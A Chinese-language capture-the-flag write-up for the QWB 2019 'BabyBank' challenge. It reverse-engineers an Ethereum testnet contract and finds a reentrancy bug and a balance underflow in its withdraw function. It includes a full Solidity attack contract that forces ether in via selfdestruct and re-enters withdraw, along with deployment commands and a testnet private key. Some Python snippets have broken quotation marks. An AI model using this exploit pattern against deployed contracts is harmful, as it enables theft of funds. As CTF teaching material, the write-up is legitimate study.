第三屆強網杯線上賽之BabyBank
一、題幹
與前文重複的內容將不多贅述, 若有疑惑可以翻看前文,或者評論
此題給出的合約是Rospten上的BabyBank, 合約地址為0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c
, 除此之外還給出了部分代碼
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
//Dont leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
......
}
二、題幹分析
根據題目給出的部分solidity
代碼,我們需要通過與合約其他為開源的函數交互來繞過函數payforflag
中的校驗
require(balance[msg.sender] >= 10000000000)
, 纔可以觸發到sendflag
拿到flag。
三、合約逆向
同樣的,我們還是使用OnlineSolidityDecompiler 對合約進行逆向,在Ropsten 上將合約的代碼copy到OnlineSolidityDecompiler(別忘了去掉前面的0x)。
3.1 預處理
雖然OnlineSolidityDecompiler 吐出來的結果已經非常易讀,但是畢竟也是一堆偽代碼,為了更加快速準確的手動反編譯出源代碼,我一般會做一些預處理。
函數數量確定: 在solidity編譯的過程中會將所有public的全局變數當做函數來處理,同樣會生成函數選擇器,所以OnlineSolidityDecompiler(後簡稱OnlineD)會生成冗餘的函數選擇器,例如在本題中OnlineD吐出來的Public Method有八個:
- 函數選擇器 函數簽名
- 0x2e1a7d4d withdraw(uint256)
- 0x66d16cc3 profit()
- 0x8c0320de Unknown
- 0x8e2a219e Unknown
- 0x9189fec1 guess(uint256)
- 0xa9059cbb transfer(address,uint256)
- 0xd41b6db6 Unknown
- 0xe3d670d7 balance(address)
在solidity編譯的過程中,會對函數簽名做sha3,然後取高位4個位元組作為函數選擇器,比如 0x2e1a7d4d == bytes4(keccak256("withdraw(uint256)"))
, OnlineD識別出來的函數簽名是來自與一個網上數組簽名資料庫FunctionSignatureDatabase, 這上面存儲了所有開源合約的函數簽名與函數選擇器的對應(並非一一對應),0x8c0320de, 0x8e2a219e和0xd41b6db6三個函數選擇器在FunctionoSignatureDatabase中並沒有被存放,所以OnlineD吐出的內容是Unknown。我通常會用一個python腳本將合約中所有已知的且並未被OnlineD識別出來的函數簽名算一下
#! /usr/bin/python
# -*- coding:utf-8 -*-
get function signature
import _pysha3, argparse
def get_argument():
parser = argparse.ArgumentParser("get function signature")
parser.add_argument("-f", "--function_name", help=Enter the function name and parameter)
temp_args = parser.parse_args()
if temp_args.function_name == None:
raise IOError("Please the function name argument")
return temp_args
def main():
args = get_argument()
b = _pysha3.keccak_256(args.function_name)
print 0x + .join(list(b.hexdigest())[:8])
if __name__ == "__main__":
main()
$ get_signature.py -f "level(address)"
>> 0xd41b6db6
$ get_signature.py -f "payforflag(string,string)"
>> 0x8c0320de
然後我將0xd41b6db6 和 0x8c0320de 分別標記為 level(address) 和 payforflag(string,string), 這樣我在還原源代碼的時候只需要關注從 0x2e1a7d4d(withdraw), 0x66d16cc3(profit), 0x8e2a219e(Unknown), 0x9189fec1(guess), 0xa9059cbb(transfer)這五個函數選擇器跳轉後的代碼。
全局變數標記: EVM將合約中的全局變數存放在一個叫Storage的鍵值對虛擬空間,並且對不同的數據類型有對應的組織方法,以本題為例,balance[addr1]
會被存放在Storage[keccak256(addr, 0x00)], level[addr]
會被存放在Storage[keccak256(addr, 0x01)], owner
和 secret
分別會被存放在Storage[0x2]和Storage[0x3]。
3.2 合約源碼(手動還原)
pragma solidity ^0.4.23;
contract babybank {
// 0xe3d670d7 0
mapping(address => uint) public balance;
// 0xd41b6db6 1
mapping(address => uint) public level;
// 2
address owner;
// 3
uint secret;
//Dont leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
//pay for flag 0x8c0320de
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
//0x2e1a7d4d
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
// reentrancy !!!
address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
// overflow
balance[msg.sender] -= amount;
}
//0x66d16cc3
function profit() public {
require(level[msg.sender] == 0);
require(msg.sender & 0xffff == 0xb1b1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
// 0x8e2a219e
function xxx(uint256 number) public onlyOwner {
secret = number;
}
// 0x9189fec1
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
// 0xa9059cbb
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount);
require(amount == 2);
require(level[msg.sender] == 2);
balance[msg.sender] = 0;
balance[to] = amount;
}
}
四、解題思路
4.1 漏洞定位
根據還原出來的合約源碼,我關注到有兩個地方有可能存在漏洞,兩處都是在函數withdraw
中:
address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
balance[msg.sender] -= amount;
第一處,轉賬不用send, transfer而要用call, 這個地方肯定可以重入,可能是一個可以利用的reentrancy漏洞; 第二處,做加減法不用Safe Math庫,若能另balance[msg.sender]
為零,可以造成underflow(在Ethereum的語境中underflow的意思就是減法溢出)。
4.2 漏洞利用
假設此時我們擁有一個balance
>= 2的賬戶(可以繞過函數withdraw
的那兩句校驗),那麼我們可以通過重入該函數,多次執行
balance[msg.sender] -= amount;
造成underflow,從而獲得巨額balance
, 通過payforflag
的校驗。
4.3 利用合約提供的函數合理繞過withdraw的校驗
可以增加balance
的函數有三個profit
, guess
, transfer
, 根據代碼,先調用profit
,然後調用guess
便可以獲得一個balance
為2的賬戶來繞過withdraw的校驗了,但是profit
和guess
分別都有自己的校驗機制,guess
需要我們輸入一個和secret
相同的數:
require(number == secret);
這點很簡單,我們只需到Ropsten上去找到合約主發出的交易,最近的一筆函數選擇器為0x8e2a219e的交易即為對secret賦值的交易,將參數copy下來即為此刻的secret;而profit
要求我們的賬戶最低四位為1b1b,我通常利用python的包ethereum來做這件事:
from ethereum import utils
import os, sys
# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not addr.lower().endswith("b1b1"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print(Address: {}
Private Key: {}.format(addr, priv.hex()))
# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("b1b1"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print(Address: {}
Private Key: {}.format(addr, priv.hex()))
if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
其中,generate_eoa1
可以直接生成低四位為1b1b的外部賬戶,generate_eoa2
可以生成一個外部賬戶,該外部賬戶部署的第一個智能合約的地址低四位為1b1b。使用generate_eoa1
我們需要使用transfer 將獲得的balance
轉給攻擊合約,然後讓攻擊合約去觸發漏洞,而使用generate_eoa2
將獲取balance和觸發漏洞的邏輯都寫在攻擊合約中一步到位,更加方便,我們下面向大家介紹第二種解題方法,第一種有興趣的讀者可以自行嘗試。
4.4 向合約轉賬
我們回過頭再看一下這個reentrancy的觸發點:
require(address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)());
如果Babybank合約的ETH餘額小於amount * 0x5af3107a4000, 這筆交易實際上會被EVM revert掉,不會執行成功,所以為了保證交易能成功執行,我們必須要給Babybank合約轉賬,但是在Ethereum中向合約賬戶轉賬不同於向EOA轉賬,合約中的只有配有關鍵則payable
的函數纔可以接收ETH, 否則交易會被revert, 根據我們手動還原的代碼顯示,Babybank沒有一個函數能夠接收ETH, 那麼我們只能通過合約自毀強行向Babybank轉賬(合約自毀時可以將自己的ETH餘額全部強制轉給某個賬戶)。
4.5 編寫攻擊合約
// malicious contract
pragma solidity ^0.4.24;
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract fund {
function commit_suicide() public payable {
selfdestruct(address(0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c));
}
}
contract attacker {
BabybankInterface constant private target = BabybankInterface(0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c);
// this address is not stable
uint private flag = 0;
function exploit() public payable {
fund funder = fund( (new fund)() );
funder.commit_suicide.value(msg.value)();
target.profit();
target.guess(0x3fde42988fa35);
target.withdraw(2);
target.payforflag("xxxxxxxxxxxxxxx", "xxxxxxxxxxxxxxxxxxxxxxxxx");
}
function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}
五、解題過程
5.1 導入賬戶
$ python3 1b1b.py 2
>>
Address: 0x8FB0C0A29DA63aeeDCF09758BA2Be6959ed49A0A
Private Key: 02fbf91e58c73219207705704e10a3cad414644d4fe588dbd28b92854a8d96c7
// In geth console
> personal.importRawKey("02fbf91e58c73219207705704e10a3cad414644d4fe588dbd28b92854a8d96c7", " ")
"0x8fb0c0a29da63aeedcf09758ba2be6959ed49a0a"
找一個以太坊水龍頭拿點ETH。
5.2 部署合約
部署合約之前要用solc對合約進行編譯,但是由於solc每個版本更新的太快,往往前幾個版本能編譯通過的合約,新的版本就通不過,所以我一般用Remix選擇老版本的solc來編譯合約。
// In geth console
> eth.signTransaction({from: "0x8FB0C0A29DA63aeeDCF09758BA2Be6959ed49A0A", data: bin, gas: "0xfffff", gasprice: "0xb2d05e00", nonce: "0x00"})
{
raw: "......",
tx: {
......
}
}
將Remix編譯出來的合約bytecode賦值給bin,然後利用signTransaction對部署合約的交易進行簽名,最後copy到Broadcast Raw Transaction,幫我們廣播交易。
5.3 發起攻擊
獲取函數選擇器
$ get_signature.py -f "exploit()"
> 0x63d9b770
對交易簽名
// In geth console
> eth.signTransaction({from: "0x8FB0C0A29DA63aeeDCF09758BA2Be6959ed49A0A", to: "0xbdf76b827b78af3882057b0ad10c3dc9f5d7b1b1", data:"0x63d9b770" , value: web3.toWei(0.1), gas: "0xfffff", gasprice: "0xb2d05e00", nonce: "0x01"})
{
raw: "......",
tx: {
......
}
}
到etherscan去搜索我們的這筆交易0x46ab146f6392c1a7490ba0ed502e8013e9befb23fd57abfe5b99280d2d0bad來確認一下是否成功的觸發了eventsendflag
, 答案是顯然的。